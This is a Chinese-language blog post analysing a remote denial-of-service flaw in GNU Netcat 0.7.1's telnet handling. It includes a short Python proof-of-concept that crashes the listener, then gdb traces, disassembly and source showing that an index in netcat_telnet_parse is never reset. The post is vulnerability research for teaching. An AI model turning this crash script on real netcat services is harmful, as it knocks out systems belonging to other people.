[拜年啦!]NetCat【nc】 0.7.1 远程拒绝服务漏洞

作者:k0shl 转载请注明出处:https://whereisk0shl.top


前面想说的话


又是一年除夕夜,今年也是我的博客的第四年,看看手里仅剩的五篇存货很感慨,终于要结束漫长的更新了,非常感谢大家这些年对我博客的关注,也要跟大家说声抱歉,博客这些年更新的漏洞分析文章是我15-16年分析的,那时候才刚接触二进制,所以有很多错误的地方,也非常感谢指出我错误的小伙伴,让我在复盘自己过去错误的时候受益良多。今年我的博客将结束过往文章的更新,之后就无法定期更新了,但我会一直维护我的博客,继续不定期更新一些最新的研究成果,希望大家可以继续关注我,共同交流,共同进步!

今天是除夕夜了,在这里祝愿大家阖家幸福,新的一年工作顺利,学业进步,0day多多,赚钱多多!


漏洞说明


NetCat就是我们所说的nc,nc在使用-T参数的时候是负责处理telnet连接,当利用nc构建一个telnet的服务端的时候,如果在客户端发送特殊的数据包,nc会处理telnet数据,根据不同的telnet code进行不同的操作。会导致nc在处理telnet数据的时候,由于处理buffer的时候在处理结束时没有对buffer的长度进行重置,导致连续多次写入telnet数据之后,由于向不可写的内存写入数据,最后引发拒绝服务漏洞,下面对此漏洞进行详细分析。

软件下载:
https://www.exploit-db.com/apps/088def25efe04dcdd1f8369d8926ab34-netcat-0.7.1.tar.gz

PoC:

#/usr/bin/python
#-*- Coding: utf-8 -*-

import socket

RHOST = "127.0.0.1"
RPORT = 12347

print("[+] Connecting to %s:%d") % (RHOST, RPORT)
s = socket.create_connection((RHOST, RPORT))
s.send("\xFF") # Telnet control character
print("[+] Telnet control character sent")
print("[i] Starting")
try:
    i = 0
    while True: # Loop until it crashes
        i += 1
        s.send("\x30")
except:
    print("[+] GNU Netcat crashed on iteration: %d") % (i)

漏洞复现


首先利用gdb attach附加进程,之后远程发送Payload,gdb命中崩溃现场。

gdb-peda$ c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x4a0 
EBX: 0x8f 
ECX: 0x90 
EDX: 0x30 ('0')
ESI: 0xbfec9f80 ('0' <repeats 200 times>...)
EDI: 0x400 
EBP: 0x8f 
ESP: 0xbfec9de0 --> 0x1 
EIP: 0x804d271 (<netcat_telnet_parse+65>:   mov    BYTE PTR [eax+0x8051b60],dl)
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804d266 <netcat_telnet_parse+54>:  test   eax,eax
   0x804d268 <netcat_telnet_parse+56>:  
    je     0x804d320 <netcat_telnet_parse+240>
   0x804d26e <netcat_telnet_parse+62>:  lea    ecx,[ebp+0x1]
=> 0x804d271 <netcat_telnet_parse+65>:  mov    BYTE PTR [eax+0x8051b60],dl
   0x804d277 <netcat_telnet_parse+71>:  mov    DWORD PTR [esp+0xc],ecx
   0x804d27b <netcat_telnet_parse+75>:  lea    ecx,[eax+0x1]
   0x804d27e <netcat_telnet_parse+78>:  cmp    ecx,0x1
   0x804d281 <netcat_telnet_parse+81>:  mov    DWORD PTR ds:0x8051b64,ecx
[------------------------------------stack-------------------------------------]
0000| 0xbfec9de0 --> 0x1 
0004| 0xbfec9de4 --> 0xb7519a28 --> 0x211f 
0008| 0xbfec9de8 --> 0x0 
0012| 0xbfec9dec --> 0x8f 
0016| 0xbfec9df0 --> 0xbfecaf50 --> 0x0 
0020| 0xbfec9df4 --> 0xbfec9f00 --> 0x0 
0024| 0xbfec9df8 --> 0xbfec9e80 --> 0x10 
0028| 0xbfec9dfc --> 0xb75f3b4d (<___newselect_nocancel+35>:    pop    ebx)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
netcat_telnet_parse (ncsock=0xbfeca7f0) at telnet.c:100
100     getrq[l++] = buf[i];

通过bt命令来回溯一下堆栈调用

gdb-peda$ bt
#0  netcat_telnet_parse (ncsock=0xbfeca7f0) at telnet.c:100
#1  0x0804b399 in core_readwrite (nc_main=0xbfeca7f0, nc_slave=0xbfecaf50)
    at core.c:823
#2  0x080497f2 in main (argc=0x4, argv=0xbfecb3c4) at netcat.c:499
#3  0xb752ba63 in __libc_start_main (main=0x80490e0 <main>, argc=0x4, 
    argv=0xbfecb3c4, init=0x804d470 <__libc_csu_init>, 
    fini=0x804d4e0 <__libc_csu_fini>, rtld_fini=0xb76efc90 <_dl_fini>, 
    stack_end=0xbfecb3bc) at libc-start.c:287
#4  0x08049f35 in _start ()

根据当前命中崩溃的位置,来看一下当前的指令,是将edx低地址部分dl交给eax+0x8051b60,eax的值是4a0,这样相加之后的地址是0x8052000,来看一下这个地址的值。

gdb-peda$ x/10x 0x08052000
0x8052000:  Cannot access memory at address 0x8052000

是向一个不可写的地址写入,接下来来看一下08051b60这个地址位置。

gdb-peda$ x/10x 0x08051b60
0x8051b60 <getrq.4515>: 0x303030ff  0x000004a0  0x30303030  0x30303030
0x8051b70:  0x30303030  0x30303030  0x30303030  0x30303030
0x8051b80:  0x30303030  0x30303030

这个地址写入的正是发送的Payload的字符串,那么就由所处的这个netcat_telnet_parse函数入手分析这个拒绝服务漏洞的成因。


漏洞分析


找到netcat_telnet_parse函数的入口位置,下一个断点。

.text:0804D230 ; void __cdecl netcat_telnet_parse(nc_sock_t *ncsock)
.text:0804D230                 public netcat_telnet_parse
.text:0804D230 netcat_telnet_parse proc near           ; CODE XREF: core_readwrite+664p
.text:0804D230
.text:0804D230 from            = dword ptr -4Ch
.text:0804D230 eat_chars       = dword ptr -30h
.text:0804D230 putrq           = byte ptr -20h
.text:0804D230 ncsock          = dword ptr  4
.text:0804D230
.text:0804D230                 push    ebp
.text:0804D231                 push    edi
.text:0804D232                 xor     ebp, ebp
.text:0804D234                 push    esi
.text:0804D235                 push    ebx
.text:0804D236                 sub     esp, 2Ch
.text:0804D239                 mov     eax, [esp+3Ch+ncsock]
.text:0804D23D                 mov     edi, [eax+3ACh]
.text:0804D243                 mov     esi, [eax+3A8h]

重新发送Payload,命中断点之后,单步跟踪。首先函数会对一个缓冲区,和要拷贝的字符串长度进行赋值。eax寄存器存放的是长度0x11,edi存放的是buff的缓冲区地址。

gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0xbfb187d0 --> 0x4 
EBX: 0xbfb187d0 --> 0x4 
ECX: 0xbfb17f60 --> 0x303030ff 
EDX: 0x400 
ESI: 0xbfb17f60 --> 0x303030ff 
EDI: 0x11 
EBP: 0x0 
ESP: 0xbfb17dc0 --> 0x1 
EIP: 0x804d23d (<netcat_telnet_parse+13>:   mov    edi,DWORD PTR [eax+0x3ac])
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804d235 <netcat_telnet_parse+5>:   push   ebx
   0x804d236 <netcat_telnet_parse+6>:   sub    esp,0x2c
   0x804d239 <netcat_telnet_parse+9>:   mov    eax,DWORD PTR [esp+0x40]
=> 0x804d23d <netcat_telnet_parse+13>:  mov    edi,DWORD PTR [eax+0x3ac]
   0x804d243 <netcat_telnet_parse+19>:  mov    esi,DWORD PTR [eax+0x3a8]
   0x804d249 <netcat_telnet_parse+25>:  test   edi,edi
   0x804d24b <netcat_telnet_parse+27>:  
    jle    0x804d32b <netcat_telnet_parse+251>
   0x804d251 <netcat_telnet_parse+33>:  xor    ebx,ebx
[------------------------------------stack-------------------------------------]
0000| 0xbfb17dc0 --> 0x1 
0004| 0xbfb17dc4 --> 0xb75dca28 --> 0x211f 
0008| 0xbfb17dc8 --> 0x0 
0012| 0xbfb17dcc --> 0xb77b2964 (<_dl_init+132>:    jmp    0xb77b2930 <_dl_init+80>)
0016| 0xbfb17dd0 --> 0xbfb18f30 --> 0x0 
0020| 0xbfb17dd4 --> 0xbfb187d0 --> 0x4 
0024| 0xbfb17dd8 --> 0xbfb17f60 --> 0x303030ff 
0028| 0xbfb17ddc --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
79    int i, *size = &ncsock->recvq.len, eat_chars = 0, ref_size = *size;
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0xbfb187d0 --> 0x4 
EBX: 0xbfb187d0 --> 0x4 
ECX: 0xbfb17f60 --> 0x303030ff 
EDX: 0x400 
ESI: 0xbfb17f60 --> 0x303030ff 
EDI: 0x11 
EBP: 0x0 
ESP: 0xbfb17dc0 --> 0x1 
EIP: 0x804d243 (<netcat_telnet_parse+19>:   mov    esi,DWORD PTR [eax+0x3a8])
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804d236 <netcat_telnet_parse+6>:   sub    esp,0x2c
   0x804d239 <netcat_telnet_parse+9>:   mov    eax,DWORD PTR [esp+0x40]
   0x804d23d <netcat_telnet_parse+13>:  mov    edi,DWORD PTR [eax+0x3ac]
=> 0x804d243 <netcat_telnet_parse+19>:  mov    esi,DWORD PTR [eax+0x3a8]
   0x804d249 <netcat_telnet_parse+25>:  test   edi,edi
   0x804d24b <netcat_telnet_parse+27>:  
    jle    0x804d32b <netcat_telnet_parse+251>
   0x804d251 <netcat_telnet_parse+33>:  xor    ebx,ebx
   0x804d253 <netcat_telnet_parse+35>:  nop
[------------------------------------stack-------------------------------------]
0000| 0xbfb17dc0 --> 0x1 
0004| 0xbfb17dc4 --> 0xb75dca28 --> 0x211f 
0008| 0xbfb17dc8 --> 0x0 
0012| 0xbfb17dcc --> 0xb77b2964 (<_dl_init+132>:    jmp    0xb77b2930 <_dl_init+80>)
0016| 0xbfb17dd0 --> 0xbfb18f30 --> 0x0 
0020| 0xbfb17dd4 --> 0xbfb187d0 --> 0x4 
0024| 0xbfb17dd8 --> 0xbfb17f60 --> 0x303030ff 
0028| 0xbfb17ddc --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
78    unsigned char putrq[4], *buf = ncsock->recvq.pos;
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0xbfb187d0 --> 0x4 
EBX: 0xbfb187d0 --> 0x4 
ECX: 0xbfb17f60 --> 0x303030ff 
EDX: 0x400 
ESI: 0xbfb17f60 --> 0x303030ff 
EDI: 0x11 

赋值之后,来看一下相应buff里面存放的内容。这时候已经接收到了第一批字符串。

gdb-peda$ x/10x 0xbfb17f60
0xbfb17f60: 0x303030ff  0x30303030  0x30303030  0x30303030
0xbfb17f70: 0x08048330  0x00000001  0x00000038  0xb76453ae
0xbfb17f80: 0xbfb17fd0  0xb77c4000

接下来,程序会进入一处循环操作,根据之前eax,也就是buff的大小,对另一个缓冲区进行赋值。来看一下第一轮循环结束时的情况。

gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x0 
ECX: 0x1 
EDX: 0xff 
ESI: 0xbfb17f60 --> 0x303030ff 
EDI: 0x11 
EBP: 0x0 
ESP: 0xbfb17dc0 --> 0x1 
EIP: 0x804d277 (<netcat_telnet_parse+71>:   mov    DWORD PTR [esp+0xc],ecx)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804d268 <netcat_telnet_parse+56>:  
    je     0x804d320 <netcat_telnet_parse+240>
   0x804d26e <netcat_telnet_parse+62>:  lea    ecx,[ebp+0x1]
   0x804d271 <netcat_telnet_parse+65>:  mov    BYTE PTR [eax+0x8051b60],dl
=> 0x804d277 <netcat_telnet_parse+71>:  mov    DWORD PTR [esp+0xc],ecx
   0x804d27b <netcat_telnet_parse+75>:  lea    ecx,[eax+0x1]
   0x804d27e <netcat_telnet_parse+78>:  cmp    ecx,0x1
   0x804d281 <netcat_telnet_parse+81>:  mov    DWORD PTR ds:0x8051b64,ecx
   0x804d287 <netcat_telnet_parse+87>:  
    je     0x804d380 <netcat_telnet_parse+336>
[------------------------------------stack-------------------------------------]
0000| 0xbfb17dc0 --> 0x1 
0004| 0xbfb17dc4 --> 0xb75dca28 --> 0x211f 
0008| 0xbfb17dc8 --> 0x0 
0012| 0xbfb17dcc --> 0xb77b2964 (<_dl_init+132>:    jmp    0xb77b2930 <_dl_init+80>)
0016| 0xbfb17dd0 --> 0xbfb18f30 --> 0x0 
0020| 0xbfb17dd4 --> 0xbfb187d0 --> 0x4 
0024| 0xbfb17dd8 --> 0xbfb17f60 --> 0x303030ff 
0028| 0xbfb17ddc --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
96      eat_chars++;
gdb-peda$ x/10x 0x8051b60
0x8051b60 <getrq.4515>: 0x000000ff  0x00000000  0x00000000  0x00000000
0x8051b70:  0x00000000  0x00000000  0x00000000  0x00000000
0x8051b80:  0x00000000  0x00000000
gdb-peda$ b *0x0804d271
Breakpoint 2 at 0x804d271: file telnet.c, line 100.
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0x1 
ECX: 0x2 
EDX: 0x30 ('0')
ESI: 0xbfb17f60 --> 0x303030ff 
EDI: 0x11 
EBP: 0x1 
ESP: 0xbfb17dc0 --> 0x1 
EIP: 0x804d271 (<netcat_telnet_parse+65>:   mov    BYTE PTR [eax+0x8051b60],dl)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804d266 <netcat_telnet_parse+54>:  test   eax,eax
   0x804d268 <netcat_telnet_parse+56>:  
    je     0x804d320 <netcat_telnet_parse+240>
   0x804d26e <netcat_telnet_parse+62>:  lea    ecx,[ebp+0x1]
=> 0x804d271 <netcat_telnet_parse+65>:  mov    BYTE PTR [eax+0x8051b60],dl
   0x804d277 <netcat_telnet_parse+71>:  mov    DWORD PTR [esp+0xc],ecx
   0x804d27b <netcat_telnet_parse+75>:  lea    ecx,[eax+0x1]
   0x804d27e <netcat_telnet_parse+78>:  cmp    ecx,0x1
   0x804d281 <netcat_telnet_parse+81>:  mov    DWORD PTR ds:0x8051b64,ecx
[------------------------------------stack-------------------------------------]
0000| 0xbfb17dc0 --> 0x1 
0004| 0xbfb17dc4 --> 0xb75dca28 --> 0x211f 
0008| 0xbfb17dc8 --> 0x0 
0012| 0xbfb17dcc --> 0x1 
0016| 0xbfb17dd0 --> 0xbfb18f30 --> 0x0 
0020| 0xbfb17dd4 --> 0xbfb187d0 --> 0x4 
0024| 0xbfb17dd8 --> 0xbfb17f60 --> 0x303030ff 
0028| 0xbfb17ddc --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, netcat_telnet_parse (ncsock=0xbfb187d0) at telnet.c:100
100     getrq[l++] = buf[i];
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0x1 
ECX: 0x2 
EDX: 0x30 ('0')
ESI: 0xbfb17f60 --> 0x303030ff 
EDI: 0x11 
EBP: 0x1 
ESP: 0xbfb17dc0 --> 0x1 
EIP: 0x804d277 (<netcat_telnet_parse+71>:   mov    DWORD PTR [esp+0xc],ecx)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804d268 <netcat_telnet_parse+56>:  
    je     0x804d320 <netcat_telnet_parse+240>
   0x804d26e <netcat_telnet_parse+62>:  lea    ecx,[ebp+0x1]
   0x804d271 <netcat_telnet_parse+65>:  mov    BYTE PTR [eax+0x8051b60],dl
=> 0x804d277 <netcat_telnet_parse+71>:  mov    DWORD PTR [esp+0xc],ecx
   0x804d27b <netcat_telnet_parse+75>:  lea    ecx,[eax+0x1]
   0x804d27e <netcat_telnet_parse+78>:  cmp    ecx,0x1
   0x804d281 <netcat_telnet_parse+81>:  mov    DWORD PTR ds:0x8051b64,ecx
   0x804d287 <netcat_telnet_parse+87>:  
    je     0x804d380 <netcat_telnet_parse+336>
[------------------------------------stack-------------------------------------]
0000| 0xbfb17dc0 --> 0x1 
0004| 0xbfb17dc4 --> 0xb75dca28 --> 0x211f 
0008| 0xbfb17dc8 --> 0x0 
0012| 0xbfb17dcc --> 0x1 
0016| 0xbfb17dd0 --> 0xbfb18f30 --> 0x0 
0020| 0xbfb17dd4 --> 0xbfb187d0 --> 0x4 
0024| 0xbfb17dd8 --> 0xbfb17f60 --> 0x303030ff 
0028| 0xbfb17ddc --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
96      eat_chars++;
gdb-peda$ x/10x 0x8051b60
0x8051b60 <getrq.4515>: 0x000030ff  0x00000001  0x00000000  0x00000000
0x8051b70:  0x00000000  0x00000000  0x00000000  0x00000000
0x8051b80:  0x00000000  0x00000000

此时l的值是一直增加的,这个l的值取决于伪代码中一个名为l_4516的全局变量,这个过程每次赋值结束,全局变量都会增加,这个全局变量最后保存在getrq指针里,这个指针就是0x8051b60。

gdb-peda$ x/10x 0x8051b60
0x8051b60 <getrq.4515>: 0x000030ff  0x00000001  0x00000000  0x00000000
0x8051b70:  0x00000000  0x00000000  0x00000000  0x00000000
0x8051b80:  0x00000000  0x00000000

此时指针偏移+4位置存放全局变量的值,此时值为0x1,是第一次读取的长度,接下来会连续对此进行读取,然而这个过程,没有对全局变量的值进行重置,第二轮接收到telnet数据包后,会同样进入netcat_telnet_parse函数进行处理。

gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x400 
EBX: 0xbfb187d0 --> 0x4 
ECX: 0xbfb17f60 ('0' <repeats 200 times>...)
EDX: 0x400 
ESI: 0xbfb17f60 ('0' <repeats 200 times>...)
EDI: 0x400 
EBP: 0xbfb18f30 --> 0x0 
ESP: 0xbfb17dfc --> 0x804b399 (<core_readwrite+1641>:   mov    edi,DWORD PTR [ebx+0x3ac])
EIP: 0x804d230 (<netcat_telnet_parse>:  push   ebp)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804d22a:   xchg   ax,ax
   0x804d22c:   xchg   ax,ax
   0x804d22e:   xchg   ax,ax
=> 0x804d230 <netcat_telnet_parse>: push   ebp
   0x804d231 <netcat_telnet_parse+1>:   push   edi
   0x804d232 <netcat_telnet_parse+2>:   xor    ebp,ebp
   0x804d234 <netcat_telnet_parse+4>:   push   esi
   0x804d235 <netcat_telnet_parse+5>:   push   ebx
[------------------------------------stack-------------------------------------]
0000| 0xbfb17dfc --> 0x804b399 (<core_readwrite+1641>:  mov    edi,DWORD PTR [ebx+0x3ac])
0004| 0xbfb17e00 --> 0xbfb187d0 --> 0x4 
0008| 0xbfb17e04 --> 0xbfb17f60 ('0' <repeats 200 times>...)
0012| 0xbfb17e08 --> 0x400 
0016| 0xbfb17e0c --> 0xb77b69ae (<dl_open_worker+766>:  sub    esp,0x4)
0020| 0xbfb17e10 --> 0xbfb193b8 --> 0xbfb1a668 ("XDG_VTNR=7")
0024| 0xbfb17e14 --> 0x142db20 
0028| 0xbfb17e18 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, netcat_telnet_parse (ncsock=0xbfb187d0) at telnet.c:75
75  {

这样再次命中断点的时候,再来看看getrq的指针结构。

gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x11 
EBX: 0x0 
ECX: 0x1 
EDX: 0x30 ('0')
ESI: 0xbfb17f60 ('0' <repeats 200 times>...)
EDI: 0x400 
EBP: 0x0 
ESP: 0xbfb17dc0 --> 0x1 
EIP: 0x804d271 (<netcat_telnet_parse+65>:   mov    BYTE PTR [eax+0x8051b60],dl)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804d266 <netcat_telnet_parse+54>:  test   eax,eax
   0x804d268 <netcat_telnet_parse+56>:  
    je     0x804d320 <netcat_telnet_parse+240>
   0x804d26e <netcat_telnet_parse+62>:  lea    ecx,[ebp+0x1]
=> 0x804d271 <netcat_telnet_parse+65>:  mov    BYTE PTR [eax+0x8051b60],dl
   0x804d277 <netcat_telnet_parse+71>:  mov    DWORD PTR [esp+0xc],ecx
   0x804d27b <netcat_telnet_parse+75>:  lea    ecx,[eax+0x1]
   0x804d27e <netcat_telnet_parse+78>:  cmp    ecx,0x1
   0x804d281 <netcat_telnet_parse+81>:  mov    DWORD PTR ds:0x8051b64,ecx
[------------------------------------stack-------------------------------------]
0000| 0xbfb17dc0 --> 0x1 
0004| 0xbfb17dc4 --> 0xb75dca28 --> 0x211f 
0008| 0xbfb17dc8 --> 0x0 
0012| 0xbfb17dcc --> 0x11 
0016| 0xbfb17dd0 --> 0xbfb18f30 --> 0x0 
0020| 0xbfb17dd4 --> 0xbfb17ee0 --> 0x0 
0024| 0xbfb17dd8 --> 0xbfb17e60 --> 0x10 
0028| 0xbfb17ddc --> 0xb76b6b4d (<___newselect_nocancel+35>:    pop    ebx)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, netcat_telnet_parse (ncsock=0xbfb187d0) at telnet.c:100
100     getrq[l++] = buf[i];
gdb-peda$ x/10x 0x08051b60
0x8051b60 <getrq.4515>: 0x303030ff  0x00000011  0x30303030  0x30303030
0x8051b70:  0x00000030  0x00000000  0x00000000  0x00000000
0x8051b80:  0x00000000  0x00000000

getrq偏移加4位置存放的长度变量,是从上一次赋值结束的长度变量开始的,也就是说这个过程没有重置这个全局变量,最后如果循环接收,到达一定长度后会向不可写的地址写入数据,导致拒绝服务漏洞的发生。

来看一下源码部分。

void netcat_telnet_parse(nc_sock_t *ncsock)
{
  static unsigned char getrq[4];
  static int l = 0;
  unsigned char putrq[4], *buf = ncsock->recvq.pos;
  int i, *size = &ncsock->recvq.len, eat_chars = 0, ref_size = *size;
  for (i = 0; i < ref_size; i++) {
    /* if we found IAC char OR we are fetching a IAC code string process it */
    if ((buf[i] != TELNET_IAC) && (l == 0))
      continue;

#ifndef USE_OLD_TELNET
    /* this is surely a char that will be eaten */
    eat_chars++;
#endif

    /* copy the char in the IAC-code-building buffer */
    getrq[l++] = buf[i];

buf,size变量指针都取决于ncsock结构体,而后面赋值时会将buf赋值给getrq,而l就是全局变量,这个函数后续会进行switch case语句来处理telnet code,如果有的话。

          {
            case 13:
            case 14:
              ++v1;
              if ( v7 <= 2 )
                break;
              putrq[0] = -1;
              putrq[1] = -4;
              goto LABEL_9;
            case 0:
            case 1:
            case 2:
            case 3:
            case 4:
            case 5:
            case 6:
            case 7:
            case 8:
            case 9:
            case 10:
              goto LABEL_10;
            case 11:
            case 12:
              ++v1;
              if ( v7 <= 2 )
                break;
              putrq[0] = -1;
              putrq[1] = -2;
LABEL_9:
              putrq[2] = getrq_4515[2];
              write(ncsock->fd, putrq, 3u);
LABEL_10:
              l_4516 = 0;
              goto LABEL_11;
            case 15:
              l_4516 = 0;
              v3[v4 - v1] = -1;
              if ( v1 )
              {
                eat_chars = v1;
LABEL_11:
                v8 = v4 + 1;
                v9 = v2 - v8;
                v2 -= eat_chars;
                memmove(&v3[v8 - eat_chars], &v3[v8], v9);
                v1 = 0;
                v4 = ~eat_chars + v8;
              }
              break;
            default:
              goto LABEL_18;

结束处理的时候,没有对全局变量重置,最后导致了拒绝服务的发生。

Comments
Write a Comment